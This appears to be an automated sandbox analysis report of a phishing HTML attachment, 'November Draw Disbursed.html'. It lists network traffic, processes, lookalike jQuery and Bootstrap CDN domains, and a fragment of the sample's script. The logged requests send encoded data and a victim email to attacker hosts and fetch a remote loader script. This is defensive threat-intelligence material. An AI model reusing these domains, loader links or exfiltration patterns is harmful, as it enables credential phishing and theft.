brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: November Draw Disbursed.htmlString found in binary or memory: https://descansonline.com/wp/b1.js
    Source: November Draw Disbursed.htmlString found in binary or memory: https://descansonline.com/wp/b1.php
    Source: unknownHTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CONSENT=PENDING+904; AEC=AakniGO7HqlHWlnoY-P22_SwwnNSfVGxlF1NgK5nuj5WLe313NyJi16g7z4; SOCS=CAISHAgCEhJnd3NfMjAyMjA4MDgtMF9SQzEaAmVuIAEaBgiAvOuXBg; NID=511=nUT82hOv6CVwMNqDg-sTtCMJJ6SQ1v_cCpfCpf5nt8EolEbal01GWFyjG01tqWQgh9ciRU880J6nLd2gdbhAJs44PsHAZaVQAFIbrqe2FmFgjrAAK7W9Z8u5LDvwsuZRng98jP6E23SJ4fsPIs326YmnuCwa92dRRCcB6MNeI_o
    Source: unknownHTTPS traffic detected: 162.19.88.69:443 -> 192.168.2.3:49721 version: TLS 1.2
    Source: classification engineClassification label: mal56.phis.winHTML@28/0@14/14
    Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1828,i,10391032402710344752,2792419310114974632,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
    Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\November Draw Disbursed.html
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1828,i,10391032402710344752,2792419310114974632,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Program Files\Google\GoogleUpdaterJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\Google\GoogleUpdaterJump to behavior

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsWindows Management InstrumentationPath Interception1
    Process Injection    		2
    Masquerading    		OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local SystemExfiltration Over Other Network Medium1
    Encrypted Channel    		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
    Process Injection    		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth3
    Non-Application Layer Protocol    		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration4
    Application Layer Protocol    		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled Transfer1
    Ingress Tool Transfer    		SIM Card SwapCarrier Billing Fraud

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    ⊘No Antivirus matches

    Dropped Files

    ⊘No Antivirus matches

    Unpacked PE Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    https://code.jquery.com.de/post/index.php?title=Sign%20in%20to%20your%20account&link=file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.html&time=2022-11-29%2019:43:4&ip=102.129.143.49%20:%20Switzerland0%Avira URL Cloudsafe
    https://aadcdn.msftauthimages.net/dbd5a2dd-us0mikl89yxon-sgdcnggg1-x8-vglc85xxjmtn1cza/logintenantbranding/0/bannerlogo?ts=6372275552104616810%Avira URL Cloudsafe
    https://code.jquery.com.de/catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,4100%Avira URL Cloudsafe
    https://descansonline.com/wp/b1.js0%Avira URL Cloudsafe
    https://code.jquery.com.de/ndata/index.php?dt=dmvpublicaffairs@dmv.ca.gov0%Avira URL Cloudsafe
    https://code.jquery.quest/jquery-3.5.2.min.js0%Avira URL Cloudsafe
    https://code.jquery.com.de/jquery-3.5.2.min.js0%Avira URL Cloudsafe
    https://code.jquery.com.de/tkv/index.php?dt=QCPsVcn7rgD1hKIR25CTCLE0O0%Avira URL Cloudsafe
    https://maxcdn.bootstrapcdn.rest/jquery-3.5.2.min.js0%Avira URL Cloudsafe
    https://code.jquery.com.de/ip.php0%Avira URL Cloudsafe
    https://i.postimg.cc/jSY8DXQL/back.jpg0%Avira URL Cloudsafe
    https://descansonline.com/wp/b1.php0%Avira URL Cloudsafe
    https://maxcdn.bootstrapcdn.cloud/jquery-3.5.2.min.js0%Avira URL Cloudsafe

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    descansonline.com
    		188.114.97.3
    		truefalse
      		unknown
      d26p066pn2w0s0.cloudfront.net
      		18.172.153.108
      		truefalse
        		high
        accounts.google.com
        		172.217.168.45
        		truefalse
          		high
          i.postimg.cc
          		162.19.88.69
          		truefalse
            		unknown
            www.google.com
            		172.217.168.36
            		truefalse
              		high
              code.jquery.quest
              		38.34.185.163
              		truefalse
                		unknown
                clients.l.google.com
                		142.250.203.110
                		truefalse
                  		high
                  code.jquery.com.de
                  		38.34.185.163
                  		truefalse
                    		unknown
                    maxcdn.bootstrapcdn.rest
                    		104.21.40.223
                    		truefalse
                      		unknown
                      part-0032.t-0009.fbs1-t-msedge.net
                      		13.107.219.60
                      		truefalse
                        		unknown
                        maxcdn.bootstrapcdn.cloud
                        		68.65.123.205
                        		truefalse
                          		unknown
                          clients2.google.com
                          		unknown
                          		unknownfalse
                            		high
                            logo.clearbit.com
                            		unknown
                            		unknownfalse
                              		high
                              aadcdn.msftauthimages.net
                              		unknown
                              		unknownfalse
                                		unknown

                                Contacted URLs

                                NameMaliciousAntivirus DetectionReputation
                                file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlfalse
                                  		low
                                  https://aadcdn.msftauthimages.net/dbd5a2dd-us0mikl89yxon-sgdcnggg1-x8-vglc85xxjmtn1cza/logintenantbranding/0/bannerlogo?ts=637227555210461681false
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://i.postimg.cc/jSY8DXQL/back.jpgfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://descansonline.com/wp/b1.jsfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://code.jquery.com.de/ip.phpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://code.jquery.com.de/catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410false
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standardfalse
                                    		high
                                    https://code.jquery.com.de/jquery-3.5.2.min.jsfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://code.jquery.quest/jquery-3.5.2.min.jsfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://code.jquery.com.de/tkv/index.php?dt=QCPsVcn7rgD1hKIR25CTCLE0Ofalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1false
                                      		high
                                      https://code.jquery.com.de/post/index.php?title=Sign%20in%20to%20your%20account&link=file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.html&time=2022-11-29%2019:43:4&ip=102.129.143.49%20:%20Switzerlandfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://logo.clearbit.com/dmv.ca.govfalse
                                        		high
                                        https://maxcdn.bootstrapcdn.rest/jquery-3.5.2.min.jsfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://code.jquery.com.de/ndata/index.php?dt=dmvpublicaffairs@dmv.ca.govfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://maxcdn.bootstrapcdn.cloud/jquery-3.5.2.min.jsfalse
                                        • Avira URL Cloud: safe
                                        		unknown

                                        URLs from Memory and Binaries

                                        NameSourceMaliciousAntivirus DetectionReputation
                                        https://descansonline.com/wp/b1.phpNovember Draw Disbursed.htmlfalse
                                        • Avira URL Cloud: safe
                                        		unknown

                                        World Map of Contacted IPs

                                        • No. of IPs < 25%
                                        • 25% < No. of IPs < 50%
                                        • 50% < No. of IPs < 75%
                                        • 75% < No. of IPs

                                        Public IPs

                                        IPDomainCountryFlagASNASN NameMalicious
                                        162.19.88.69
                                        		i.postimg.ccUnited States
                                        		209CENTURYLINK-US-LEGACY-QWESTUSfalse
                                        18.172.153.108
                                        		d26p066pn2w0s0.cloudfront.netUnited States
                                        		3MIT-GATEWAYSUSfalse
                                        104.21.40.223
                                        		maxcdn.bootstrapcdn.restUnited States
                                        		13335CLOUDFLARENETUSfalse
                                        13.107.219.60
                                        		part-0032.t-0009.fbs1-t-msedge.netUnited States
                                        		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                        68.65.123.205
                                        		maxcdn.bootstrapcdn.cloudUnited States
                                        		22612NAMECHEAP-NETUSfalse
                                        38.34.185.163
                                        		code.jquery.questUnited States
                                        		174COGENT-174USfalse
                                        142.250.203.110
                                        		clients.l.google.comUnited States
                                        		15169GOOGLEUSfalse
                                        172.217.168.45
                                        		accounts.google.comUnited States
                                        		15169GOOGLEUSfalse
                                        172.217.168.36
                                        		www.google.comUnited States
                                        		15169GOOGLEUSfalse
                                        239.255.255.250
                                        		unknownReserved
                                        		unknownunknownfalse
                                        188.114.97.3
                                        		descansonline.comEuropean Union
                                        		13335CLOUDFLARENETUSfalse

                                        Private

                                        IP
                                        192.168.2.1
                                        192.168.2.4
                                        127.0.0.1

                                        General Information

                                        Joe Sandbox Version:36.0.0 Rainbow Opal
                                        Analysis ID:756194
                                        Start date and time:2022-11-29 19:41:59 +01:00
                                        Joe Sandbox Product:CloudBasic
                                        Overall analysis duration:0h 6m 3s
                                        Hypervisor based Inspection enabled:false
                                        Report type:light
                                        Sample file name:November Draw Disbursed.html
                                        Cookbook file name:default.jbs
                                        Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                        Number of analysed new started processes analysed:17
                                        Number of new started drivers analysed:0
                                        Number of existing processes analysed:0
                                        Number of existing drivers analysed:0
                                        Number of injected processes analysed:0
                                        Technologies:
                                        • HCA enabled
                                        • EGA enabled
                                        • HDC enabled
                                        • AMSI enabled
                                        Analysis Mode:default
                                        Analysis stop reason:Timeout
                                        Detection:MAL
                                        Classification:mal56.phis.winHTML@28/0@14/14
                                        EGA Information:Failed
                                        HDC Information:Failed
                                        HCA Information:
                                        • Successful, ratio: 100%
                                        • Number of executed functions: 0
                                        • Number of non-executed functions: 0
                                        Cookbook Comments:
                                        • Found application associated with file extension: .html

                                        Warnings

                                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
                                        • TCP Packets have been reduced to 100
                                        • Excluded IPs from analysis (whitelisted): 172.217.168.67, 34.104.35.123
                                        • Excluded domains from analysis (whitelisted): fs.microsoft.com, edgedl.me.gvt1.com, aadcdn-msft.azureedge.net, update.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn-msft.afd.azureedge.net, firstparty-azurefd-prod.trafficmanager.net, global-entry-afdthirdparty-fallback.trafficmanager.net
                                        • Not all processes where analyzed, report is missing behavior information
                                        • Report size getting too big, too many NtWriteVirtualMemory calls found.
                                        • VT rate limit hit for: November Draw Disbursed.html

                                        Simulations

                                        Behavior and APIs

                                        ⊘No simulations

                                        Joe Sandbox View / Context

                                        IPs

                                        ⊘No context

                                        Domains

                                        ⊘No context

                                        ASNs

                                        ⊘No context

                                        JA3 Fingerprints

                                        ⊘No context

                                        Dropped Files

                                        ⊘No context

                                        Created / dropped Files

                                        ⊘No created / dropped files found

                                        Static File Info

                                        General

                                        File type:HTML document, ASCII text, with CRLF line terminators
                                        Entropy (8bit):5.336385813759125
                                        TrID:
                                        • HTML Application (8008/1) 100.00%
                                        File name:November Draw Disbursed.html
                                        File size:450
                                        MD5:b0d7ab3033db28748d1146d9113eb4d0
                                        SHA1:8713ce26b53981ca8a02f943220970437edca585
                                        SHA256:10f511546453d5867e65f35914fd43703d7f786e5b7bdfdd0fb6e1bf3c065317
                                        SHA512:22ca0ebdf878d99bb022ad7e4967864b5f6fab7c4fe572347b6034c1efef2342f755e5673bdcea65f19ee674f5b794096b87702d5ac85ff4cdfde1aad5031c13
                                        SSDEEP:12:7KPA2JZoH3TuEsoKHuHAHYoHcI4DMEGVdDVRxb:7CAuZoXKEGQAHYo8Istaxb
                                        TLSH:32F055603C4C9A5006301D718078A64ED02B882CDE8CC9C296DBA9562920FDE6ECAAC8
                                        File Content Preview:<script>.. var Tse0sed5 = "https://descansonline.com/wp/b1.php"; // php file link normal or B64.. var RTse0dsqqs = "dmvpublicaffairs@dmv.ca.gov"; //email normal or B64.. var e0zs52658 = "https://descansonline.com/wp/b1.js"; //js file link normal or

                                        File Icon

                                        Icon Hash:78d0a8cccc88c460

                                        Network Behavior

                                        Snort IDS Alerts

                                        TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                        192.168.2.38.8.8.859636532027758 11/29/22-19:43:01.359643UDP2027758ET DNS Query for .cc TLD5963653192.168.2.38.8.8.8
                                        192.168.2.38.8.8.860767532027758 11/29/22-19:43:05.093728UDP2027758ET DNS Query for .cc TLD6076753192.168.2.38.8.8.8

                                        Network Port Distribution

                                        TCP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Nov 29, 2022 19:42:57.391132116 CET49697443192.168.2.3172.217.168.45
                                        Nov 29, 2022 19:42:57.391196012 CET44349697172.217.168.45192.168.2.3
                                        Nov 29, 2022 19:42:57.391278982 CET49697443192.168.2.3172.217.168.45
                                        Nov 29, 2022 19:42:57.391486883 CET49697443192.168.2.3172.217.168.45
                                        Nov 29, 2022 19:42:57.391519070 CET44349697172.217.168.45192.168.2.3
                                        Nov 29, 2022 19:42:57.416039944 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:57.416084051 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:57.416172981 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:57.416441917 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:57.416464090 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:57.459494114 CET44349697172.217.168.45192.168.2.3
                                        Nov 29, 2022 19:42:57.475289106 CET49697443192.168.2.3172.217.168.45
                                        Nov 29, 2022 19:42:57.475373030 CET44349697172.217.168.45192.168.2.3
                                        Nov 29, 2022 19:42:57.478365898 CET44349697172.217.168.45192.168.2.3
                                        Nov 29, 2022 19:42:57.478457928 CET49697443192.168.2.3172.217.168.45
                                        Nov 29, 2022 19:42:57.488795042 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:57.570678949 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:57.696568012 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:57.696638107 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:57.698153973 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:57.698193073 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:57.698304892 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:57.700412035 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:57.700515032 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:57.700546026 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:57.770736933 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:58.297462940 CET49699443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.297528028 CET44349699188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.297612906 CET49699443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.297837973 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.297859907 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.297952890 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.298449993 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:58.298486948 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:58.298918962 CET49699443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.298943043 CET44349699188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.298983097 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:58.299177885 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.299194098 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.299690008 CET49697443192.168.2.3172.217.168.45
                                        Nov 29, 2022 19:42:58.299748898 CET44349697172.217.168.45192.168.2.3
                                        Nov 29, 2022 19:42:58.299988985 CET44349697172.217.168.45192.168.2.3
                                        Nov 29, 2022 19:42:58.300544977 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:58.300565004 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:58.300985098 CET49697443192.168.2.3172.217.168.45
                                        Nov 29, 2022 19:42:58.301024914 CET44349697172.217.168.45192.168.2.3
                                        Nov 29, 2022 19:42:58.336836100 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:58.336949110 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:58.336977005 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:58.337151051 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:58.337202072 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:58.346762896 CET49697443192.168.2.3172.217.168.45
                                        Nov 29, 2022 19:42:58.357547998 CET44349697172.217.168.45192.168.2.3
                                        Nov 29, 2022 19:42:58.357798100 CET44349697172.217.168.45192.168.2.3
                                        Nov 29, 2022 19:42:58.357897043 CET49697443192.168.2.3172.217.168.45
                                        Nov 29, 2022 19:42:58.384824038 CET44349699188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.392810106 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.448092937 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.470930099 CET49699443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.921070099 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.921147108 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.921361923 CET49699443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.921401024 CET44349699188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.922544956 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.922615051 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.922662020 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.926570892 CET44349699188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.926661968 CET44349699188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.926750898 CET49699443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.931320906 CET49698443192.168.2.3142.250.203.110
                                        Nov 29, 2022 19:42:58.931356907 CET44349698142.250.203.110192.168.2.3
                                        Nov 29, 2022 19:42:58.934155941 CET49697443192.168.2.3172.217.168.45
                                        Nov 29, 2022 19:42:58.934191942 CET44349697172.217.168.45192.168.2.3
                                        Nov 29, 2022 19:42:58.939624071 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.939651012 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.939791918 CET49699443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.939805984 CET44349699188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.939827919 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.939984083 CET44349699188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.940222025 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.940233946 CET44349700188.114.97.3192.168.2.3
